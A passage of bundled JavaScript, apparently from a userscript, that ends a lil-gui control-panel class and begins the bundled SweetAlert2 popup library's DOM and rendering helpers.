  1165. this.$title.setAttribute("role", "button");
  1166. this.$title.setAttribute("aria-expanded", true);
  1167. this.$title.setAttribute("tabindex", 0);
  1168. this.$title.addEventListener("click", () => this.openAnimated(this._closed));
  1169. this.$title.addEventListener("keydown", (e) => {
  1170. if (e.code === "Enter" || e.code === "Space") {
  1171. e.preventDefault();
  1172. this.$title.click();
  1173. }
  1174. });
  1175. this.$title.addEventListener("touchstart", () => {
  1176. }, { passive: true });
  1177. this.$children = document.createElement("div");
  1178. this.$children.classList.add("children");
  1179. this.domElement.appendChild(this.$title);
  1180. this.domElement.appendChild(this.$children);
  1181. this.title(title);
  1182. if (touchStyles) {
  1183. this.domElement.classList.add("allow-touch-styles");
  1184. }
  1185. if (this.parent) {
  1186. this.parent.children.push(this);
  1187. this.parent.folders.push(this);
  1188. this.parent.$children.appendChild(this.domElement);
  1189. return;
  1190. }
  1191. this.domElement.classList.add("root");
  1192. if (!stylesInjected && injectStyles) {
  1193. _injectStyles(stylesheet);
  1194. stylesInjected = true;
  1195. }
  1196. if (container) {
  1197. container.appendChild(this.domElement);
  1198. } else if (autoPlace) {
  1199. this.domElement.classList.add("autoPlace");
  1200. document.body.appendChild(this.domElement);
  1201. }
  1202. if (width) {
  1203. this.domElement.style.setProperty("--width", width + "px");
  1204. }
  1205. this.domElement.addEventListener("keydown", (e) => e.stopPropagation());
  1206. this.domElement.addEventListener("keyup", (e) => e.stopPropagation());
  1207. }
  1208. add(object, property, $1, max, step) {
  1209. if (Object($1) === $1) {
  1210. return new OptionController(this, object, property, $1);
  1211. }
  1212. const initialValue = object[property];
  1213. switch (typeof initialValue) {
  1214. case "number":
  1215. return new NumberController(this, object, property, $1, max, step);
  1216. case "boolean":
  1217. return new BooleanController(this, object, property);
  1218. case "string":
  1219. return new StringController(this, object, property);
  1220. case "function":
  1221. return new FunctionController(this, object, property);
  1222. }
  1223. console.error(`gui.add failed
  1224. property:`, property, `
  1225. object:`, object, `
  1226. value:`, initialValue);
  1227. }
  1228. addColor(object, property, rgbScale = 1) {
  1229. return new ColorController(this, object, property, rgbScale);
  1230. }
  1231. addFolder(title) {
  1232. return new GUI({ parent: this, title });
  1233. }
  1234. load(obj, recursive = true) {
  1235. if (obj.controllers) {
  1236. this.controllers.forEach((c) => {
  1237. if (c instanceof FunctionController)
  1238. return;
  1239. if (c._name in obj.controllers) {
  1240. c.load(obj.controllers[c._name]);
  1241. }
  1242. });
  1243. }
  1244. if (recursive && obj.folders) {
  1245. this.folders.forEach((f) => {
  1246. if (f._title in obj.folders) {
  1247. f.load(obj.folders[f._title]);
  1248. }
  1249. });
  1250. }
  1251. return this;
  1252. }
  1253. save(recursive = true) {
  1254. const obj = {
  1255. controllers: {},
  1256. folders: {}
  1257. };
  1258. this.controllers.forEach((c) => {
  1259. if (c instanceof FunctionController)
  1260. return;
  1261. if (c._name in obj.controllers) {
  1262. throw new Error(`Cannot save GUI with duplicate property "${c._name}"`);
  1263. }
  1264. obj.controllers[c._name] = c.save();
  1265. });
  1266. if (recursive) {
  1267. this.folders.forEach((f) => {
  1268. if (f._title in obj.folders) {
  1269. throw new Error(`Cannot save GUI with duplicate folder "${f._title}"`);
  1270. }
  1271. obj.folders[f._title] = f.save();
  1272. });
  1273. }
  1274. return obj;
  1275. }
  1276. open(open2 = true) {
  1277. this._closed = !open2;
  1278. this.$title.setAttribute("aria-expanded", !this._closed);
  1279. this.domElement.classList.toggle("closed", this._closed);
  1280. return this;
  1281. }
  1282. close() {
  1283. return this.open(false);
  1284. }
  1285. show(show = true) {
  1286. this._hidden = !show;
  1287. this.domElement.style.display = this._hidden ? "none" : "";
  1288. return this;
  1289. }
  1290. hide() {
  1291. return this.show(false);
  1292. }
  1293. openAnimated(open2 = true) {
  1294. this._closed = !open2;
  1295. this.$title.setAttribute("aria-expanded", !this._closed);
  1296. requestAnimationFrame(() => {
  1297. const initialHeight = this.$children.clientHeight;
  1298. this.$children.style.height = initialHeight + "px";
  1299. this.domElement.classList.add("transition");
  1300. const onTransitionEnd = (e) => {
  1301. if (e.target !== this.$children)
  1302. return;
  1303. this.$children.style.height = "";
  1304. this.domElement.classList.remove("transition");
  1305. this.$children.removeEventListener("transitionend", onTransitionEnd);
  1306. };
  1307. this.$children.addEventListener("transitionend", onTransitionEnd);
  1308. const targetHeight = !open2 ? 0 : this.$children.scrollHeight;
  1309. this.domElement.classList.toggle("closed", !open2);
  1310. requestAnimationFrame(() => {
  1311. this.$children.style.height = targetHeight + "px";
  1312. });
  1313. });
  1314. return this;
  1315. }
  1316. title(title) {
  1317. this._title = title;
  1318. this.$title.innerHTML = title;
  1319. return this;
  1320. }
  1321. reset(recursive = true) {
  1322. const controllers = recursive ? this.controllersRecursive() : this.controllers;
  1323. controllers.forEach((c) => c.reset());
  1324. return this;
  1325. }
  1326. onChange(callback) {
  1327. this._onChange = callback;
  1328. return this;
  1329. }
  1330. _callOnChange(controller) {
  1331. if (this.parent) {
  1332. this.parent._callOnChange(controller);
  1333. }
  1334. if (this._onChange !== void 0) {
  1335. this._onChange.call(this, {
  1336. object: controller.object,
  1337. property: controller.property,
  1338. value: controller.getValue(),
  1339. controller
  1340. });
  1341. }
  1342. }
  1343. onFinishChange(callback) {
  1344. this._onFinishChange = callback;
  1345. return this;
  1346. }
  1347. _callOnFinishChange(controller) {
  1348. if (this.parent) {
  1349. this.parent._callOnFinishChange(controller);
  1350. }
  1351. if (this._onFinishChange !== void 0) {
  1352. this._onFinishChange.call(this, {
  1353. object: controller.object,
  1354. property: controller.property,
  1355. value: controller.getValue(),
  1356. controller
  1357. });
  1358. }
  1359. }
  1360. destroy() {
  1361. if (this.parent) {
  1362. this.parent.children.splice(this.parent.children.indexOf(this), 1);
  1363. this.parent.folders.splice(this.parent.folders.indexOf(this), 1);
  1364. }
  1365. if (this.domElement.parentElement) {
  1366. this.domElement.parentElement.removeChild(this.domElement);
  1367. }
  1368. Array.from(this.children).forEach((c) => c.destroy());
  1369. }
  1370. controllersRecursive() {
  1371. let controllers = Array.from(this.controllers);
  1372. this.folders.forEach((f) => {
  1373. controllers = controllers.concat(f.controllersRecursive());
  1374. });
  1375. return controllers;
  1376. }
  1377. foldersRecursive() {
  1378. let folders = Array.from(this.folders);
  1379. this.folders.forEach((f) => {
  1380. folders = folders.concat(f.foldersRecursive());
  1381. });
  1382. return folders;
  1383. }
  1384. }
  1385. const guiOverride = "";
  1386. var monkeyWindow = window;
  1387. var GM_setValue = /* @__PURE__ */ (() => monkeyWindow.GM_setValue)();
  1388. var GM_getValue = /* @__PURE__ */ (() => monkeyWindow.GM_getValue)();
  1389. var commonjsGlobal = typeof globalThis !== "undefined" ? globalThis : typeof window !== "undefined" ? window : typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : {};
  1390. var sweetalert2_all = { exports: {} };
  1391. (function(module, exports) {
  1392. (function(global2, factory) {
  1393. module.exports = factory();
  1394. })(commonjsGlobal, function() {
  1395. var privateProps = {
  1396. awaitingPromise: /* @__PURE__ */ new WeakMap(),
  1397. promise: /* @__PURE__ */ new WeakMap(),
  1398. innerParams: /* @__PURE__ */ new WeakMap(),
  1399. domCache: /* @__PURE__ */ new WeakMap()
  1400. };
  1401. const swalPrefix = "swal2-";
  1402. const prefix = (items) => {
  1403. const result = {};
  1404. for (const i in items) {
  1405. result[items[i]] = swalPrefix + items[i];
  1406. }
  1407. return result;
  1408. };
  1409. const swalClasses = prefix(["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"]);
  1410. const iconTypes = prefix(["success", "warning", "info", "question", "error"]);
  1411. const consolePrefix = "SweetAlert2:";
  1412. const uniqueArray = (arr) => {
  1413. const result = [];
  1414. for (let i = 0; i < arr.length; i++) {
  1415. if (result.indexOf(arr[i]) === -1) {
  1416. result.push(arr[i]);
  1417. }
  1418. }
  1419. return result;
  1420. };
  1421. const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
  1422. const warn = (message) => {
  1423. console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
  1424. };
  1425. const error = (message) => {
  1426. console.error(`${consolePrefix} ${message}`);
  1427. };
  1428. const previousWarnOnceMessages = [];
  1429. const warnOnce = (message) => {
  1430. if (!previousWarnOnceMessages.includes(message)) {
  1431. previousWarnOnceMessages.push(message);
  1432. warn(message);
  1433. }
  1434. };
  1435. const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  1436. warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
  1437. };
  1438. const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
  1439. const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
  1440. const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  1441. const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
  1442. const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
  1443. const elementBySelector = (selectorString) => {
  1444. const container = getContainer();
  1445. return container ? container.querySelector(selectorString) : null;
  1446. };
  1447. const elementByClass = (className) => {
  1448. return elementBySelector(`.${className}`);
  1449. };
  1450. const getPopup = () => elementByClass(swalClasses.popup);
  1451. const getIcon = () => elementByClass(swalClasses.icon);
  1452. const getIconContent = () => elementByClass(swalClasses["icon-content"]);
  1453. const getTitle = () => elementByClass(swalClasses.title);
  1454. const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
  1455. const getImage = () => elementByClass(swalClasses.image);
  1456. const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
  1457. const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
  1458. const getConfirmButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`);
  1459. const getDenyButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`);
  1460. const getInputLabel = () => elementByClass(swalClasses["input-label"]);
  1461. const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
  1462. const getCancelButton = () => elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`);
  1463. const getActions = () => elementByClass(swalClasses.actions);
  1464. const getFooter = () => elementByClass(swalClasses.footer);
  1465. const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
  1466. const getCloseButton = () => elementByClass(swalClasses.close);
  1467. const focusable = `
  1468. a[href],
  1469. area[href],
  1470. input:not([disabled]),
  1471. select:not([disabled]),
  1472. textarea:not([disabled]),
  1473. button:not([disabled]),
  1474. iframe,
  1475. object,
  1476. embed,
  1477. [tabindex="0"],
  1478. [contenteditable],
  1479. audio[controls],
  1480. video[controls],
  1481. summary
  1482. `;
  1483. const getFocusableElements = () => {
  1484. const focusableElementsWithTabindex = Array.from(getPopup().querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])')).sort((a, b) => {
  1485. const tabindexA = parseInt(a.getAttribute("tabindex"));
  1486. const tabindexB = parseInt(b.getAttribute("tabindex"));
  1487. if (tabindexA > tabindexB) {
  1488. return 1;
  1489. } else if (tabindexA < tabindexB) {
  1490. return -1;
  1491. }
  1492. return 0;
  1493. });
  1494. const otherFocusableElements = Array.from(getPopup().querySelectorAll(focusable)).filter((el) => el.getAttribute("tabindex") !== "-1");
  1495. return uniqueArray(focusableElementsWithTabindex.concat(otherFocusableElements)).filter((el) => isVisible$1(el));
  1496. };
  1497. const isModal = () => {
  1498. return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
  1499. };
  1500. const isToast = () => {
  1501. return getPopup() && hasClass(getPopup(), swalClasses.toast);
  1502. };
  1503. const isLoading = () => {
  1504. return getPopup().hasAttribute("data-loading");
  1505. };
  1506. const states = {
  1507. previousBodyPadding: null
  1508. };
  1509. const setInnerHtml = (elem, html) => {
  1510. elem.textContent = "";
  1511. if (html) {
  1512. const parser = new DOMParser();
  1513. const parsed = parser.parseFromString(html, `text/html`);
  1514. Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
  1515. elem.appendChild(child);
  1516. });
  1517. Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
  1518. if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
  1519. elem.appendChild(child.cloneNode(true));
  1520. } else {
  1521. elem.appendChild(child);
  1522. }
  1523. });
  1524. }
  1525. };
  1526. const hasClass = (elem, className) => {
  1527. if (!className) {
  1528. return false;
  1529. }
  1530. const classList = className.split(/\s+/);
  1531. for (let i = 0; i < classList.length; i++) {
  1532. if (!elem.classList.contains(classList[i])) {
  1533. return false;
  1534. }
  1535. }
  1536. return true;
  1537. };
  1538. const removeCustomClasses = (elem, params) => {
  1539. Array.from(elem.classList).forEach((className) => {
  1540. if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
  1541. elem.classList.remove(className);
  1542. }
  1543. });
  1544. };
  1545. const applyCustomClass = (elem, params, className) => {
  1546. removeCustomClasses(elem, params);
  1547. if (params.customClass && params.customClass[className]) {
  1548. if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
  1549. warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
  1550. return;
  1551. }
  1552. addClass(elem, params.customClass[className]);
  1553. }
  1554. };
  1555. const getInput$1 = (popup, inputClass) => {
  1556. if (!inputClass) {
  1557. return null;
  1558. }
  1559. switch (inputClass) {
  1560. case "select":
  1561. case "textarea":
  1562. case "file":
  1563. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
  1564. case "checkbox":
  1565. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
  1566. case "radio":
  1567. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
  1568. case "range":
  1569. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
  1570. default:
  1571. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
  1572. }
  1573. };
  1574. const focusInput = (input) => {
  1575. input.focus();
  1576. if (input.type !== "file") {
  1577. const val = input.value;
  1578. input.value = "";
  1579. input.value = val;
  1580. }
  1581. };
  1582. const toggleClass = (target, classList, condition) => {
  1583. if (!target || !classList) {
  1584. return;
  1585. }
  1586. if (typeof classList === "string") {
  1587. classList = classList.split(/\s+/).filter(Boolean);
  1588. }
  1589. classList.forEach((className) => {
  1590. if (Array.isArray(target)) {
  1591. target.forEach((elem) => {
  1592. condition ? elem.classList.add(className) : elem.classList.remove(className);
  1593. });
  1594. } else {
  1595. condition ? target.classList.add(className) : target.classList.remove(className);
  1596. }
  1597. });
  1598. };
  1599. const addClass = (target, classList) => {
  1600. toggleClass(target, classList, true);
  1601. };
  1602. const removeClass = (target, classList) => {
  1603. toggleClass(target, classList, false);
  1604. };
  1605. const getDirectChildByClass = (elem, className) => {
  1606. const children = Array.from(elem.children);
  1607. for (let i = 0; i < children.length; i++) {
  1608. const child = children[i];
  1609. if (child instanceof HTMLElement && hasClass(child, className)) {
  1610. return child;
  1611. }
  1612. }
  1613. };
  1614. const applyNumericalStyle = (elem, property, value) => {
  1615. if (value === `${parseInt(value)}`) {
  1616. value = parseInt(value);
  1617. }
  1618. if (value || parseInt(value) === 0) {
  1619. elem.style[property] = typeof value === "number" ? `${value}px` : value;
  1620. } else {
  1621. elem.style.removeProperty(property);
  1622. }
  1623. };
  1624. const show = function(elem) {
  1625. let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
  1626. elem.style.display = display;
  1627. };
  1628. const hide = (elem) => {
  1629. elem.style.display = "none";
  1630. };
  1631. const setStyle = (parent, selector, property, value) => {
  1632. const el = parent.querySelector(selector);
  1633. if (el) {
  1634. el.style[property] = value;
  1635. }
  1636. };
  1637. const toggle = function(elem, condition) {
  1638. let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
  1639. condition ? show(elem, display) : hide(elem);
  1640. };
  1641. const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  1642. const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
  1643. const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
  1644. const hasCssAnimation = (elem) => {
  1645. const style2 = window.getComputedStyle(elem);
  1646. const animDuration = parseFloat(style2.getPropertyValue("animation-duration") || "0");
  1647. const transDuration = parseFloat(style2.getPropertyValue("transition-duration") || "0");
  1648. return animDuration > 0 || transDuration > 0;
  1649. };
  1650. const animateTimerProgressBar = function(timer) {
  1651. let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
  1652. const timerProgressBar = getTimerProgressBar();
  1653. if (isVisible$1(timerProgressBar)) {
  1654. if (reset) {
  1655. timerProgressBar.style.transition = "none";
  1656. timerProgressBar.style.width = "100%";
  1657. }
  1658. setTimeout(() => {
  1659. timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
  1660. timerProgressBar.style.width = "0%";
  1661. }, 10);
  1662. }
  1663. };
  1664. const stopTimerProgressBar = () => {
  1665. const timerProgressBar = getTimerProgressBar();
  1666. const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  1667. timerProgressBar.style.removeProperty("transition");
  1668. timerProgressBar.style.width = "100%";
  1669. const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  1670. const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
  1671. timerProgressBar.style.removeProperty("transition");
  1672. timerProgressBar.style.width = `${timerProgressBarPercent}%`;
  1673. };
  1674. const RESTORE_FOCUS_TIMEOUT = 100;
  1675. const globalState = {};
  1676. const focusPreviousActiveElement = () => {
  1677. if (globalState.previousActiveElement instanceof HTMLElement) {
  1678. globalState.previousActiveElement.focus();
  1679. globalState.previousActiveElement = null;
  1680. } else if (document.body) {
  1681. document.body.focus();
  1682. }
  1683. };
  1684. const restoreActiveElement = (returnFocus) => {
  1685. return new Promise((resolve) => {
  1686. if (!returnFocus) {
  1687. return resolve();
  1688. }
  1689. const x = window.scrollX;
  1690. const y = window.scrollY;
  1691. globalState.restoreFocusTimeout = setTimeout(() => {
  1692. focusPreviousActiveElement();
  1693. resolve();
  1694. }, RESTORE_FOCUS_TIMEOUT);
  1695. window.scrollTo(x, y);
  1696. });
  1697. };
  1698. const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
  1699. const sweetHTML = `
  1700. <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
  1701. <button type="button" class="${swalClasses.close}"></button>
  1702. <ul class="${swalClasses["progress-steps"]}"></ul>
  1703. <div class="${swalClasses.icon}"></div>
  1704. <img class="${swalClasses.image}" />
  1705. <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
  1706. <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
  1707. <input class="${swalClasses.input}" />
  1708. <input type="file" class="${swalClasses.file}" />
  1709. <div class="${swalClasses.range}">
  1710. <input type="range" />
  1711. <output></output>
  1712. </div>
  1713. <select class="${swalClasses.select}"></select>
  1714. <div class="${swalClasses.radio}"></div>
  1715. <label for="${swalClasses.checkbox}" class="${swalClasses.checkbox}">
  1716. <input type="checkbox" />
  1717. <span class="${swalClasses.label}"></span>
  1718. </label>
  1719. <textarea class="${swalClasses.textarea}"></textarea>
  1720. <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
  1721. <div class="${swalClasses.actions}">
  1722. <div class="${swalClasses.loader}"></div>
  1723. <button type="button" class="${swalClasses.confirm}"></button>
  1724. <button type="button" class="${swalClasses.deny}"></button>
  1725. <button type="button" class="${swalClasses.cancel}"></button>
  1726. </div>
  1727. <div class="${swalClasses.footer}"></div>
  1728. <div class="${swalClasses["timer-progress-bar-container"]}">
  1729. <div class="${swalClasses["timer-progress-bar"]}"></div>
  1730. </div>
  1731. </div>
  1732. `.replace(/(^|\n)\s*/g, "");
  1733. const resetOldContainer = () => {
  1734. const oldContainer = getContainer();
  1735. if (!oldContainer) {
  1736. return false;
  1737. }
  1738. oldContainer.remove();
  1739. removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
  1740. return true;
  1741. };
  1742. const resetValidationMessage$1 = () => {
  1743. globalState.currentInstance.resetValidationMessage();
  1744. };
  1745. const addInputChangeListeners = () => {
  1746. const popup = getPopup();
  1747. const input = getDirectChildByClass(popup, swalClasses.input);
  1748. const file = getDirectChildByClass(popup, swalClasses.file);
  1749. const range = popup.querySelector(`.${swalClasses.range} input`);
  1750. const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
  1751. const select = getDirectChildByClass(popup, swalClasses.select);
  1752. const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
  1753. const textarea = getDirectChildByClass(popup, swalClasses.textarea);
  1754. input.oninput = resetValidationMessage$1;
  1755. file.onchange = resetValidationMessage$1;
  1756. select.onchange = resetValidationMessage$1;
  1757. checkbox.onchange = resetValidationMessage$1;
  1758. textarea.oninput = resetValidationMessage$1;
  1759. range.oninput = () => {
  1760. resetValidationMessage$1();
  1761. rangeOutput.value = range.value;
  1762. };
  1763. range.onchange = () => {
  1764. resetValidationMessage$1();
  1765. rangeOutput.value = range.value;
  1766. };
  1767. };
  1768. const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
  1769. const setupAccessibility = (params) => {
  1770. const popup = getPopup();
  1771. popup.setAttribute("role", params.toast ? "alert" : "dialog");
  1772. popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
  1773. if (!params.toast) {
  1774. popup.setAttribute("aria-modal", "true");
  1775. }
  1776. };
  1777. const setupRTL = (targetElement) => {
  1778. if (window.getComputedStyle(targetElement).direction === "rtl") {
  1779. addClass(getContainer(), swalClasses.rtl);
  1780. }
  1781. };
  1782. const init = (params) => {
  1783. const oldContainerExisted = resetOldContainer();
  1784. if (isNodeEnv()) {
  1785. error("SweetAlert2 requires document to initialize");
  1786. return;
  1787. }
  1788. const container = document.createElement("div");
  1789. container.className = swalClasses.container;
  1790. if (oldContainerExisted) {
  1791. addClass(container, swalClasses["no-transition"]);
  1792. }
  1793. setInnerHtml(container, sweetHTML);
  1794. const targetElement = getTarget(params.target);
  1795. targetElement.appendChild(container);
  1796. setupAccessibility(params);
  1797. setupRTL(targetElement);
  1798. addInputChangeListeners();
  1799. };
  1800. const parseHtmlToContainer = (param, target) => {
  1801. if (param instanceof HTMLElement) {
  1802. target.appendChild(param);
  1803. } else if (typeof param === "object") {
  1804. handleObject(param, target);
  1805. } else if (param) {
  1806. setInnerHtml(target, param);
  1807. }
  1808. };
  1809. const handleObject = (param, target) => {
  1810. if (param.jquery) {
  1811. handleJqueryElem(target, param);
  1812. } else {
  1813. setInnerHtml(target, param.toString());
  1814. }
  1815. };
  1816. const handleJqueryElem = (target, elem) => {
  1817. target.textContent = "";
  1818. if (0 in elem) {
  1819. for (let i = 0; i in elem; i++) {
  1820. target.appendChild(elem[i].cloneNode(true));
  1821. }
  1822. } else {
  1823. target.appendChild(elem.cloneNode(true));
  1824. }
  1825. };
  1826. const animationEndEvent = (() => {
  1827. if (isNodeEnv()) {
  1828. return false;
  1829. }
  1830. const testEl = document.createElement("div");
  1831. const transEndEventNames = {
  1832. WebkitAnimation: "webkitAnimationEnd",
  1833. animation: "animationend"
  1834. };
  1835. for (const i in transEndEventNames) {
  1836. if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
  1837. return transEndEventNames[i];
  1838. }
  1839. }
  1840. return false;
  1841. })();
  1842. const measureScrollbar = () => {
  1843. const scrollDiv = document.createElement("div");
  1844. scrollDiv.className = swalClasses["scrollbar-measure"];
  1845. document.body.appendChild(scrollDiv);
  1846. const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
  1847. document.body.removeChild(scrollDiv);
  1848. return scrollbarWidth;
  1849. };
  1850. const renderActions = (instance, params) => {
  1851. const actions = getActions();
  1852. const loader = getLoader();
  1853. if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
  1854. hide(actions);
  1855. } else {
  1856. show(actions);
  1857. }
  1858. applyCustomClass(actions, params, "actions");
  1859. renderButtons(actions, loader, params);
  1860. setInnerHtml(loader, params.loaderHtml);
  1861. applyCustomClass(loader, params, "loader");
  1862. };
  1863. function renderButtons(actions, loader, params) {
  1864. const confirmButton = getConfirmButton();
  1865. const denyButton = getDenyButton();
  1866. const cancelButton = getCancelButton();
  1867. renderButton(confirmButton, "confirm", params);
  1868. renderButton(denyButton, "deny", params);
  1869. renderButton(cancelButton, "cancel", params);
  1870. handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
  1871. if (params.reverseButtons) {
  1872. if (params.toast) {
  1873. actions.insertBefore(cancelButton, confirmButton);
  1874. actions.insertBefore(denyButton, confirmButton);
  1875. } else {
  1876. actions.insertBefore(cancelButton, loader);
  1877. actions.insertBefore(denyButton, loader);
  1878. actions.insertBefore(confirmButton, loader);
  1879. }
  1880. }
  1881. }
  1882. function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
  1883. if (!params.buttonsStyling) {
  1884. removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  1885. return;
  1886. }
  1887. addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  1888. if (params.confirmButtonColor) {
  1889. confirmButton.style.backgroundColor = params.confirmButtonColor;
  1890. addClass(confirmButton, swalClasses["default-outline"]);
  1891. }
  1892. if (params.denyButtonColor) {
  1893. denyButton.style.backgroundColor = params.denyButtonColor;
  1894. addClass(denyButton, swalClasses["default-outline"]);
  1895. }
  1896. if (params.cancelButtonColor) {
  1897. cancelButton.style.backgroundColor = params.cancelButtonColor;
  1898. addClass(cancelButton, swalClasses["default-outline"]);
  1899. }
  1900. }
  1901. function renderButton(button, buttonType, params) {
  1902. toggle(button, params[`show${capitalizeFirstLetter(buttonType)}Button`], "inline-block");
  1903. setInnerHtml(button, params[`${buttonType}ButtonText`]);
  1904. button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`]);
  1905. button.className = swalClasses[buttonType];
  1906. applyCustomClass(button, params, `${buttonType}Button`);
  1907. addClass(button, params[`${buttonType}ButtonClass`]);
  1908. }
  1909. const renderCloseButton = (instance, params) => {
  1910. const closeButton = getCloseButton();
  1911. setInnerHtml(closeButton, params.closeButtonHtml);
  1912. applyCustomClass(closeButton, params, "closeButton");
  1913. toggle(closeButton, params.showCloseButton);
  1914. closeButton.setAttribute("aria-label", params.closeButtonAriaLabel);
  1915. };
  1916. const renderContainer = (instance, params) => {
  1917. const container = getContainer();
  1918. if (!container) {
  1919. return;
  1920. }
  1921. handleBackdropParam(container, params.backdrop);
  1922. handlePositionParam(container, params.position);
  1923. handleGrowParam(container, params.grow);
  1924. applyCustomClass(container, params, "container");
  1925. };
  1926. function handleBackdropParam(container, backdrop) {
  1927. if (typeof backdrop === "string") {
  1928. container.style.background = backdrop;
  1929. } else if (!backdrop) {
  1930. addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
  1931. }
  1932. }
  1933. function handlePositionParam(container, position) {
  1934. if (position in swalClasses) {
  1935. addClass(container, swalClasses[position]);
  1936. } else {
  1937. warn('The "position" parameter is not valid, defaulting to "center"');
  1938. addClass(container, swalClasses.center);
  1939. }
  1940. }
  1941. function handleGrowParam(container, grow) {
  1942. if (grow && typeof grow === "string") {
  1943. const growClass = `grow-${grow}`;
  1944. if (growClass in swalClasses) {
  1945. addClass(container, swalClasses[growClass]);
  1946. }
  1947. }
  1948. }
  1949. const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
  1950. const renderInput = (instance, params) => {
  1951. const popup = getPopup();
  1952. const innerParams = privateProps.innerParams.get(instance);
  1953. const rerender = !innerParams || params.input !== innerParams.input;
  1954. inputClasses.forEach((inputClass) => {
  1955. const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
  1956. setAttributes(inputClass, params.inputAttributes);
  1957. inputContainer.className = swalClasses[inputClass];
  1958. if (rerender) {
  1959. hide(inputContainer);
  1960. }
  1961. });
  1962. if (params.input) {
  1963. if (rerender) {
  1964. showInput(params);
  1965. }
  1966. setCustomClass(params);
  1967. }
  1968. };
  1969. const showInput = (params) => {
  1970. if (!renderInputType[params.input]) {
  1971. error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
  1972. return;
  1973. }
  1974. const inputContainer = getInputContainer(params.input);
  1975. const input = renderInputType[params.input](inputContainer, params);
  1976. show(inputContainer);
  1977. setTimeout(() => {
  1978. focusInput(input);
  1979. });
  1980. };
  1981. const removeAttributes = (input) => {
